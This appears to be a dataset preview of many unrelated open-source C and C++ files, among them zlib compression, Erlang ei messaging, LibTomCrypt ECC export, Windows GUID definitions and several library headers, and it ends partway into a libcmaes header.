text
stringlengths
4
6.14k
/* ``The contents of this file are subject to the Erlang Public License, * Version 1.1, (the "License"); you may not use this file except in * compliance with the License. You should have received a copy of the * Erlang Public License along with this software. If not, it can be * retrieved via the world wide web at http://www.erlang.org/. * * Software distributed under the License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See * the License for the specific language governing rights and limitations * under the License. * * The Initial Developer of the Original Code is Ericsson Utvecklings AB. * Portions created by Ericsson are Copyright 1999, Ericsson Utvecklings * AB. All Rights Reserved.'' * * $Id$ */ #ifdef __WIN32__ #include <winsock2.h> #include <windows.h> #include <winbase.h> #elif VXWORKS #include <sys/types.h> #include <unistd.h> #else /* unix */ #include <sys/types.h> #include <unistd.h> #include <sys/uio.h> #endif #include "eidef.h" #include "eiext.h" #include "ei_connect.h" #include "ei_internal.h" #include "putget.h" #include "ei_trace.h" #include "show_msg.h" /* FIXME this is not useed !!!!! */ /* length (4), PASS_THROUGH (1), header, message */ int ei_ei_send_encoded(ei_cnode* ec, int fd, const erlang_pid *to, const char *msg, int msglen) { char *s, header[1200]; /* see size calculation below */ erlang_trace *token = NULL; int index = 5; /* reserve 5 bytes for control message */ #ifdef HAVE_WRITEV struct iovec v[2]; #endif /* are we tracing? */ /* check that he can receive trace tokens first */ if (ei_distversion(fd) > 0) token = ei_trace(0,(erlang_trace *)NULL); /* header = SEND, cookie, to max sizes: */ ei_encode_version(header,&index); /* 1 */ if (token) { ei_encode_tuple_header(header,&index,4); /* 2 */ ei_encode_long(header,&index,ERL_SEND_TT); /* 2 */ } else { ei_encode_tuple_header(header,&index,3); ei_encode_long(header,&index,ERL_SEND); } ei_encode_atom(header,&index, "" /*ei_getfdcookie(ec, fd)*/); /* 258 */ ei_encode_pid(header,&index,to); /* 268 */ if (token) ei_encode_trace(header,&index,token); /* 534 */ /* control message (precedes header actually) */ /* length = 1 ('p') + header len + message len */ s = header; put32be(s, index + msglen - 4); /* 4 */ put8(s, ERL_PASS_THROUGH); /* 1 */ /*** sum: 1070 */ #ifdef DEBUG_DIST if (ei_trace_distribution > 0) ei_show_sendmsg(stderr,header,msg); #endif #ifdef HAVE_WRITEV v[0].iov_base = (char *)header; v[0].iov_len = index; v[1].iov_base = (char *)msg; v[1].iov_len = msglen; if (writev(fd,v,2) != index+msglen) return -1; #else /* !HAVE_WRITEV */ if (writesocket(fd,header,index) != index) return -1; if (writesocket(fd,msg,msglen) != msglen) return -1; #endif /* !HAVE_WRITEV */ return 0; }
/* * @BEGIN LICENSE * * Forte: an open-source plugin to Psi4 (https://github.com/psi4/psi4) * that implements a variety of quantum chemistry methods for strongly * correlated electrons. * * Copyright (c) 2012-2022 by its authors (see COPYING, COPYING.LESSER, AUTHORS). * * The copyrights for code used from other parties are included in * the corresponding files. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see http://www.gnu.org/licenses/. * * @END LICENSE */ #ifndef _state_info_h_ #define _state_info_h_ #include <string> #include <vector> namespace psi { class Wavefunction; } namespace forte { class ForteOptions; class StateInfo { public: /// Constructor StateInfo(int na, int nb, int multiplicity, int twice_ms, int irrep, const std::string& irrep_label = "", const std::vector<size_t> gas_min = std::vector<size_t>(), const std::vector<size_t> gas_max = std::vector<size_t>()); StateInfo() = default; /// multiplicity labels static const std::vector<std::string> multiplicity_labels; /// return the number of alpha electrons int na() const; /// return the number of beta electrons int nb() const; /// return the multiplicity int multiplicity() const; /// return twice Ms int twice_ms() const; /// return the irrep int irrep() const; /// return the multiplicity symbol const std::string& multiplicity_label() const; /// return the irrep symbol const std::string& irrep_label() const; /// return the minimum occupation of each gas state const std::vector<size_t>& gas_min() const; /// return the maximum occupation of each gas state const std::vector<size_t>& gas_max() const; /// Comparison operator for StateInfo objects bool operator<(const StateInfo& rhs) const; /// Comparison operator for StateInfo objects bool operator!=(const StateInfo& rhs) const; /// Comparison operator for StateInfo objects bool operator==(const StateInfo& rhs) const; /// string representation of this object std::string str() const; /// string representation of this object, shorter version std::string str_short() const; /// string representation of this object, no GAS information std::string str_minimum() const; /// hash for this object std::size_t hash() const; private: // number of alpha electrons (including core, excludes ecp) int na_; // number of beta electrons (including core, excludes ecp) int nb_; // 2S + 1 int multiplicity_; // 2Ms int twice_ms_; // Irrep int irrep_; // Irrep label std::string irrep_label_; // minimum number of electrons in each gas space std::vector<size_t> gas_min_; // maximum number of electrons in each gas space std::vector<size_t> gas_max_; }; /** * @brief make_state_info_from_psi Make a StateInfo object by reading variables set in the psi4 * environmental variables * @return a StateInfo object */ StateInfo make_state_info_from_psi(std::shared_ptr<ForteOptions> options); } // namespace forte #endif // _state_info_h_
/* compress.c -- compress a memory buffer * Copyright (C) 1995-2005 Jean-loup Gailly. * For conditions of distribution and use, see copyright notice in zlib.h */ /* @(#) $Id: compress.c 444593 2014-08-26 12:32:08Z ivanov $ */ #define ZLIB_INTERNAL #include "zlib.h" /* =========================================================================== Compresses the source buffer into the destination buffer. The level parameter has the same meaning as in deflateInit. sourceLen is the byte length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be at least 0.1% larger than sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output buffer, Z_STREAM_ERROR if the level parameter is invalid. */ int ZEXPORT compress2 (dest, destLen, source, sourceLen, level) Bytef *dest; uLongf *destLen; const Bytef *source; uLong sourceLen; int level; { z_stream stream; int err; stream.next_in = (z_const Bytef *)source; stream.avail_in = (uInt)sourceLen; #ifdef MAXSEG_64K /* Check for source > 64K on 16-bit machine: */ if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; #endif stream.next_out = dest; stream.avail_out = (uInt)*destLen; if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; stream.zalloc = (alloc_func)0; stream.zfree = (free_func)0; stream.opaque = (voidpf)0; err = deflateInit(&stream, level); if (err != Z_OK) return err; err = deflate(&stream, Z_FINISH); if (err != Z_STREAM_END) { deflateEnd(&stream); return err == Z_OK ? Z_BUF_ERROR : err; } *destLen = stream.total_out; err = deflateEnd(&stream); return err; } /* =========================================================================== */ int ZEXPORT compress (dest, destLen, source, sourceLen) Bytef *dest; uLongf *destLen; const Bytef *source; uLong sourceLen; { return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION); } /* =========================================================================== If the default memLevel or windowBits for deflateInit() is changed, then this function needs to be updated. */ uLong ZEXPORT compressBound (sourceLen) uLong sourceLen; { return sourceLen + (sourceLen >> 12) + (sourceLen >> 14) + (sourceLen >> 25) + 13; }
// Created file "Lib\src\amstrmid\X64\strmiids" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(IID_IVPNotify2, 0xebf47183, 0x8764, 0x11d1, 0x9e, 0x69, 0x00, 0xc0, 0x4f, 0xd7, 0xc1, 0x5b);
/* Copyright (C) 2012-2013 Werner Dittmann This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <stdint.h> #include <common/osSpecifics.h> #if defined(_WIN32) || defined(_WIN64) #else #endif #if defined(_WIN32) || defined(_WIN64) # include <WinSock2.h> # include <time.h> uint64_t zrtpGetTickCount() { // return GetTickCount64(); //works only on 64bit OS unsigned long long ret; FILETIME ft; GetSystemTimeAsFileTime(&ft); ret = ft.dwHighDateTime; ret <<= 32; ret |= ft.dwLowDateTime; return ret / 10; //return msec } #else # include <netinet/in.h> # include <sys/time.h> uint64_t zrtpGetTickCount() { struct timeval tv; gettimeofday(&tv, 0); return ((uint64_t)tv.tv_sec) * (uint64_t)1000 + ((uint64_t)tv.tv_usec) / (uint64_t)1000; } #endif uint32_t zrtpNtohl (uint32_t net) { return ntohl(net); } uint16_t zrtpNtohs (uint16_t net) { return ntohs(net); } uint32_t zrtpHtonl (uint32_t host) { return htonl(host); } uint16_t zrtpHtons (uint16_t host) { return htons(host); }
// Created file "Lib\src\amstrmid\X64\strmiids" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(CLSID_AVIDraw, 0xa888df60, 0x1e90, 0x11cf, 0xac, 0x98, 0x00, 0xaa, 0x00, 0x4c, 0x0f, 0xa9);
// Created file "Lib\src\sensorsapi\X64\sensorsapi" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(SENSOR_DATA_TYPE_LIGHT_CHROMACITY, 0xe4c77ce2, 0xdcb7, 0x46e9, 0x84, 0x39, 0x4f, 0xec, 0x54, 0x88, 0x33, 0xa6);
/* * Copyright © 2013 Canonical Ltd. * * This program is free software: you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Authored by: Thomas Voß <thomas.voss@canonical.com> */ #ifndef MPRIS_TRACK_LIST_H_ #define MPRIS_TRACK_LIST_H_ #include <core/dbus/macros.h> #include <core/dbus/types/any.h> #include <core/dbus/types/object_path.h> #include <core/dbus/types/variant.h> #include <boost/utility/identity_type.hpp> #include <string> #include <tuple> #include <vector> namespace dbus = core::dbus; namespace mpris { struct TrackList { static const std::string& name() { static const std::string s{"core.ubuntu.media.Service.Player.TrackList"}; return s; } DBUS_CPP_METHOD_WITH_TIMEOUT_DEF(GetTracksMetadata, TrackList, 1000) DBUS_CPP_METHOD_WITH_TIMEOUT_DEF(AddTrack, TrackList, 1000) DBUS_CPP_METHOD_WITH_TIMEOUT_DEF(RemoveTrack, TrackList, 1000) DBUS_CPP_METHOD_WITH_TIMEOUT_DEF(GoTo, TrackList, 1000) struct Signals { DBUS_CPP_SIGNAL_DEF ( TrackListReplaced, TrackList, BOOST_IDENTITY_TYPE((std::tuple<std::vector<dbus::types::ObjectPath>, dbus::types::ObjectPath>)) ) DBUS_CPP_SIGNAL_DEF ( TrackAdded, TrackList, BOOST_IDENTITY_TYPE((std::tuple<std::map<std::string, dbus::types::Variant>, dbus::types::ObjectPath>)) ) DBUS_CPP_SIGNAL_DEF ( TrackRemoved, TrackList, dbus::types::ObjectPath ) DBUS_CPP_SIGNAL_DEF ( TrackMetadataChanged, TrackList, BOOST_IDENTITY_TYPE((std::tuple<std::map<std::string, dbus::types::Variant>, dbus::types::ObjectPath>)) ) }; struct Properties { DBUS_CPP_READABLE_PROPERTY_DEF(Tracks, TrackList, std::vector<std::string>) DBUS_CPP_READABLE_PROPERTY_DEF(CanEditTracks, TrackList, bool) }; }; } #endif // MPRIS_TRACK_LIST_H_
/* Copyright 2013-2021 Paul Colby This file is part of QtAws. QtAws is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. QtAws is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the QtAws. If not, see <http://www.gnu.org/licenses/>. */ #ifndef QTAWS_LISTVAULTSREQUEST_P_H #define QTAWS_LISTVAULTSREQUEST_P_H #include "glacierrequest_p.h" #include "listvaultsrequest.h" namespace QtAws { namespace Glacier { class ListVaultsRequest; class ListVaultsRequestPrivate : public GlacierRequestPrivate { public: ListVaultsRequestPrivate(const GlacierRequest::Action action, ListVaultsRequest * const q); ListVaultsRequestPrivate(const ListVaultsRequestPrivate &other, ListVaultsRequest * const q); private: Q_DECLARE_PUBLIC(ListVaultsRequest) }; } // namespace Glacier } // namespace QtAws #endif
/* * This file is part of WTlib. * * WTlib is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * WTlib is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with WTlib. If not, see <http://www.gnu.org/licenses/>. */ #ifndef WT_INTER_HEADER_INCLUDED #define WT_INTER_HEADER_INCLUDED #include "wt.h" using WTlib::WTdata; using WTlib::WTencoder; using WTlib::WTdecoder; using WTlib::WTcommon; using WTlib::Environment; using WTlib::OZNACENI_PASMA; using WTlib::KODOVACI_MOZNOST; using WTlib::KODER; enum class SMER { KODER, DEKODER }; //#define N_THREADS_AVAIABLE 16 #define N_THREADS_AVAIABLE 1 #endif // WT_INTER_HEADER_INCLUDED
/* Copyright 2013-2021 Paul Colby This file is part of QtAws. QtAws is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. QtAws is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the QtAws. If not, see <http://www.gnu.org/licenses/>. */ #ifndef QTAWS_ATTACHCERTIFICATETODISTRIBUTIONREQUEST_H #define QTAWS_ATTACHCERTIFICATETODISTRIBUTIONREQUEST_H #include "lightsailrequest.h" namespace QtAws { namespace Lightsail { class AttachCertificateToDistributionRequestPrivate; class QTAWSLIGHTSAIL_EXPORT AttachCertificateToDistributionRequest : public LightsailRequest { public: AttachCertificateToDistributionRequest(const AttachCertificateToDistributionRequest &other); AttachCertificateToDistributionRequest(); virtual bool isValid() const Q_DECL_OVERRIDE; protected: virtual QtAws::Core::AwsAbstractResponse * response(QNetworkReply * const reply) const Q_DECL_OVERRIDE; private: Q_DECLARE_PRIVATE(AttachCertificateToDistributionRequest) }; } // namespace Lightsail } // namespace QtAws #endif
/* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. */ /* Implements ECC over Z/pZ for curve y^2 = x^3 - 3x + b * * All curves taken from NIST recommendation paper of July 1999 * Available at http://csrc.nist.gov/cryptval/dss.htm */ #include "tomcrypt.h" /** @file ecc_ansi_x963_export.c ECC Crypto, Tom St Denis */ #ifdef LTC_MECC /** ECC X9.63 (Sec. 4.3.6) uncompressed export @param key Key to export @param out [out] destination of export @param outlen [in/out] Length of destination and final output size Return CRYPT_OK on success */ int ecc_ansi_x963_export(ecc_key *key, unsigned char *out, unsigned long *outlen) { unsigned char buf[ECC_BUF_SIZE]; unsigned long numlen, xlen, ylen; LTC_ARGCHK(key != NULL); LTC_ARGCHK(outlen != NULL); if (ltc_ecc_is_valid_idx(key->idx) == 0) { return CRYPT_INVALID_ARG; } numlen = key->dp->size; xlen = mp_unsigned_bin_size(key->pubkey.x); ylen = mp_unsigned_bin_size(key->pubkey.y); if (xlen > numlen || ylen > numlen || sizeof(buf) < numlen) { return CRYPT_BUFFER_OVERFLOW; } if (*outlen < (1 + 2*numlen)) { *outlen = 1 + 2*numlen; return CRYPT_BUFFER_OVERFLOW; } LTC_ARGCHK(out != NULL); /* store byte 0x04 */ out[0] = 0x04; /* pad and store x */ zeromem(buf, sizeof(buf)); mp_to_unsigned_bin(key->pubkey.x, buf + (numlen - xlen)); XMEMCPY(out+1, buf, numlen); /* pad and store y */ zeromem(buf, sizeof(buf)); mp_to_unsigned_bin(key->pubkey.y, buf + (numlen - ylen)); XMEMCPY(out+1+numlen, buf, numlen); *outlen = 1 + 2*numlen; return CRYPT_OK; } #endif /* ref: HEAD -> master, tag: v1.18.2 */ /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ /* commit time: 2018-07-01 22:49:01 +0200 */
#ifndef _PLUGIN_NASTYFFT_H_ #define _PLUGIN_NASTYFFT_H_ #include "scenepreset.h" #include <QGLWidget> #include <QTime> #include <QMouseEvent> #include <GL/glu.h> #include "frequencyspectrum.h" class NastyFFT : public QGLWidget { Q_OBJECT public: NastyFFT(ScenePreset *m_priv); ~NastyFFT(); signals: void presetChanged(); void needUnlock(); public slots: void scopeEvent(const FrequencySpectrum &m_spectrum); void render(); void setXRotation(int angle); void setYRotation(int angle); void setZRotation(int angle); void setLocked(bool mode); protected: void initDefault(); void setupCamera(); void initializeGL(); void initializeGL1(); void setupLight(); void resizeGL(int w, int h); void paintGL(); virtual void mousePressEvent(QMouseEvent *event); virtual void mouseMoveEvent(QMouseEvent *event); virtual void mouseDoubleClickEvent(QMouseEvent *event); GLUquadric *obj; ScenePreset *priv; int width; int height; GLdouble fftdata[SCOPE_DEPTH][NUM_BANDS]; QTime tim; int xRot; int yRot; int zRot; QPoint lastPos; bool is_locked; }; #endif // _PLUGIN_NASTYFFT_H_
/* * #%L * ********************************************************************** * ORGANIZATION : Pi4J * PROJECT : Pi4J :: JNI Native Library * FILENAME : com_pi4j_wiringpi_Serial.h * * This file is part of the Pi4J project. More information about * this project can be found here: https://pi4j.com/ * ********************************************************************** * %% * Copyright (C) 2012 - 2021 Pi4J * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ /* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class com_pi4j_wiringpi_Serial */ #ifndef _Included_com_pi4j_wiringpi_Serial #define _Included_com_pi4j_wiringpi_Serial #ifdef __cplusplus extern "C" { #endif /* * Class: com_pi4j_wiringpi_Serial * Method: serialOpen * Signature: (Ljava/lang/String;I)I */ JNIEXPORT jint JNICALL Java_com_pi4j_wiringpi_Serial_serialOpen (JNIEnv *, jclass, jstring, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialClose * Signature: (I)V */ JNIEXPORT void JNICALL Java_com_pi4j_wiringpi_Serial_serialClose (JNIEnv *, jclass, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialFlush * Signature: (I)V */ JNIEXPORT void JNICALL Java_com_pi4j_wiringpi_Serial_serialFlush (JNIEnv *, jclass, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialPutByte * Signature: (IB)V */ JNIEXPORT void JNICALL Java_com_pi4j_wiringpi_Serial_serialPutByte (JNIEnv *, jclass, jint, jbyte); /* * Class: com_pi4j_wiringpi_Serial * Method: serialPutBytes * Signature: (I[BI)V */ JNIEXPORT void JNICALL Java_com_pi4j_wiringpi_Serial_serialPutBytes (JNIEnv *, jclass, jint, jbyteArray, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialPuts * Signature: (ILjava/lang/String;)V */ JNIEXPORT void JNICALL Java_com_pi4j_wiringpi_Serial_serialPuts (JNIEnv *, jclass, jint, jstring); /* * Class: com_pi4j_wiringpi_Serial * Method: serialDataAvail * Signature: (I)I */ JNIEXPORT jint JNICALL Java_com_pi4j_wiringpi_Serial_serialDataAvail (JNIEnv *, jclass, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialGetByte * Signature: (I)B */ JNIEXPORT jbyte JNICALL Java_com_pi4j_wiringpi_Serial_serialGetByte (JNIEnv *, jclass, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialGetBytes * Signature: (II)[B */ JNIEXPORT jbyteArray JNICALL Java_com_pi4j_wiringpi_Serial_serialGetBytes (JNIEnv *, jclass, jint, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialGetAvailableBytes * Signature: (I)[B */ JNIEXPORT jbyteArray JNICALL Java_com_pi4j_wiringpi_Serial_serialGetAvailableBytes (JNIEnv *, jclass, jint); /* * Class: com_pi4j_wiringpi_Serial * Method: serialGetchar * Signature: (I)I */ JNIEXPORT jint JNICALL Java_com_pi4j_wiringpi_Serial_serialGetchar (JNIEnv *, jclass, jint); #ifdef __cplusplus } #endif #endif
#ifndef DROUGHT_H #define DROUGHT_H #ifndef METEOPOINT_H #include "meteoPoint.h" #endif //SPI Gamma Distribution struct gammaParam { double beta; double gamma; double pzero; }; // SPEI Log-Logistic Distribution struct logLogisticParam { double alpha; double beta; double gamma; }; class Drought { public: Drought(droughtIndex index, int firstYear, int lastYear, Crit3DDate date, Crit3DMeteoPoint* meteoPoint, Crit3DMeteoSettings* meteoSettings); droughtIndex getIndex() const; void setIndex(const droughtIndex &value); int getTimeScale() const; void setTimeScale(int value); int getFirstYear() const; void setFirstYear(int value); int getLastYear() const; void setLastYear(int value); bool getComputeAll() const; void setComputeAll(bool value); float computeDroughtIndex(); bool computeSpiParameters(); bool computeSpeiParameters(); bool computePercentileValuesCurrentDay(); void setMeteoPoint(Crit3DMeteoPoint *value); Crit3DMeteoSettings *getMeteoSettings() const; Crit3DDate getDate() const; void setDate(const Crit3DDate &value); float getCurrentPercentileValue() const; void setMyVar(const meteoVariable &value); private: Crit3DMeteoPoint* meteoPoint; Crit3DMeteoSettings* meteoSettings; Crit3DDate date; droughtIndex index; meteoVariable myVar; int timeScale; int firstYear; int lastYear; bool computeAll; gammaParam gammaStruct; logLogisticParam logLogisticStruct; std::vector<gammaParam> currentGamma; std::vector<logLogisticParam> currentLogLogistic; std::vector<float> droughtResults; float currentPercentileValue; }; #endif // DROUGHT_H
/* * picotm - A system-level transaction manager * Copyright (c) 2018 Thomas Zimmermann <contact@tzimmermann.org> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * * SPDX-License-Identifier: LGPL-3.0-or-later */ #pragma once #include <locale.h> #include <stddef.h> #include <stdint.h> /** * \cond impl || libc_impl || libc_impl_locale * \ingroup libc_impl * \ingroup libc_impl_locale * \file * \endcond */ struct picotm_error; #if defined(PICOTM_LIBC_HAVE_DUPLOCALE) && PICOTM_LIBC_HAVE_DUPLOCALE locale_t locale_module_duplocale(locale_t locobj, struct picotm_error* error); #endif #if defined(PICOTM_LIBC_HAVE_FREELOCALE) && PICOTM_LIBC_HAVE_FREELOCALE void locale_module_freelocale(locale_t locobj, struct picotm_error* error); #endif struct lconv* locale_module_localeconv(struct picotm_error* error); #if defined(PICOTM_LIBC_HAVE_NEWLOCALE) && PICOTM_LIBC_HAVE_NEWLOCALE locale_t locale_module_newlocale(int category_mask, const char* locale, locale_t base, struct picotm_error* error); #endif char* locale_module_setlocale(int category, const char* locale, struct picotm_error* error); #if defined(PICOTM_LIBC_HAVE_USELOCALE) && PICOTM_LIBC_HAVE_USELOCALE locale_t locale_module_uselocale(locale_t newloc, struct picotm_error* error); #endif
/* SPDX-License-Identifier: LGPL-3.0 Copyright (c) 2017-2019 Jevgenijs Protopopovs This file is part of CalX project. CalX is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License version 3 as published by the Free Software Foundation. CalX is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with CalX. If not, see <http://www.gnu.org/licenses/>. */ #ifndef CALX_CTRL_LIB_ACTIONS_PLANE_ACTIONS_H_ #define CALX_CTRL_LIB_ACTIONS_PLANE_ACTIONS_H_ #include "calx/ctrl-lib/actions/ActionQueue.h" #include "calx/ctrl-lib/plane/CoordPlane.h" #include "calx/ctrl-lib/plane/CoordHandle.h" #include "calx/ctrl-lib/logger/Journal.h" #include "calx/ctrl-lib/task/CoordTask.h" #include "calx/ctrl-lib/translator/CoordTranslator.h" namespace CalX { class CalxCoordBaseAction : public CalxAction { public: CalxCoordBaseAction(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &); protected: std::shared_ptr<CoordHandle> handle; ErrorHandlerCallback error_handler; JournalLogger &journal; }; class CalxCoordActionMove : public CalxCoordBaseAction { public: CalxCoordActionMove(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &, coord_point_t, double, bool, bool); ErrorCode perform(SystemManager &) override; void stop() override; private: coord_point_t dest; double speed; bool sync; bool relative; }; class CalxCoordActionArc : public CalxCoordBaseAction { public: CalxCoordActionArc(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &, coord_point_t, coord_point_t, int, double, bool, bool); ErrorCode perform(SystemManager &) override; void stop() override; private: coord_point_t dest; coord_point_t cen; int splitter; double speed; bool clockwise; bool relative; }; class CalxCoordActionCalibrate : public CalxCoordBaseAction { public: CalxCoordActionCalibrate(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &, TrailerId); ErrorCode perform(SystemManager &) override; void stop() override; private: TrailerId trailer; }; class CalxCoordActionMeasure : public CalxCoordBaseAction { public: CalxCoordActionMeasure(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &, TrailerId); ErrorCode perform(SystemManager &) override; void stop() override; private: TrailerId trailer; }; class CalxCoordActionConfigure : public CalxCoordBaseAction { public: CalxCoordActionConfigure(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &, PlaneMapper &, coord_point_t, double); ErrorCode perform(SystemManager &) override; void stop() override; private: PlaneMapper &mapper; coord_point_t dest; double speed; bool work; }; class CalxCoordActionGraphBuild : public CalxCoordBaseAction { public: CalxCoordActionGraphBuild(std::shared_ptr<CoordHandle>, ErrorHandlerCallback, JournalLogger &, std::shared_ptr<CoordTranslator>, std::unique_ptr<GraphBuilder>, double); ErrorCode perform(SystemManager &) override; void stop() override; private: std::shared_ptr<CoordTranslator> translator; std::unique_ptr<GraphBuilder> builder; double speed; std::shared_ptr<TaskState> state; }; } // namespace CalX #endif
#pragma once #include "Opcode.h" namespace AISCRIPT { class Player_Ally : public Opcode { public: // Ctor Player_Ally(AISCRIPT::Enum::Enum n) : Opcode(n) {}; // Execute virtual bool execute(aithread &thread) const; }; }
/** * CMA-ES, Covariance Matrix Adaptation Evolution Strategy * Copyright (c) 2014 Inria * Author: Emmanuel Benazera <emmanuel.benazera@lri.fr> * * This file is part of libcmaes. * * libcmaes is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * libcmaes is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with libcmaes. If not, see <http://www.gnu.org/licenses/>. */ #ifndef ESOPTIMIZER_H #define ESOPTIMIZER_H #include <functional> #include <chrono> #include "parameters.h" #include "esostrategy.h" #include "cmasolutions.h" /* algorithms */ enum { /* vanilla version of CMA-ES. */ CMAES_DEFAULT = 0, /* IPOP-CMA-ES */ IPOP_CMAES = 1, /* BIPOP-CMA-ES */ BIPOP_CMAES = 2, /* Active CMA-ES */ aCMAES = 3, /* Active IPOP-CMA-ES */ aIPOP_CMAES = 4, /* Active BIPOP-CMA-ES */ aBIPOP_CMAES = 5, /* sep-CMA-ES */ sepCMAES = 6, /* sep-IPOP-CMA-ES */ sepIPOP_CMAES = 7, /* sep-BIPOP-CMA-ES */ sepBIPOP_CMAES = 8, /* Active sep-CMA-ES */ sepaCMAES = 9, /* Active sep-IPOP-CMA-ES */ sepaIPOP_CMAES = 10, /* Active sep-BIPOP-CMA-ES */ sepaBIPOP_CMAES = 11, /* VD-CMA-ES */ VD_CMAES = 12, /* VD-IPOP-CMA-ES */ VD_IPOP_CMAES = 13, /* VD-BIPOP-CMA-ES */ VD_BIPOP_CMAES = 14 }; namespace libcmaes { /** * \brief an optimizer main class. */ template <class TESOStrategy,class TParameters,class TSolutions=CMASolutions> class ESOptimizer : public TESOStrategy { public: /** * \brief dummy constructor */ ESOptimizer() :TESOStrategy() { } /** * \brief constructor * @param func 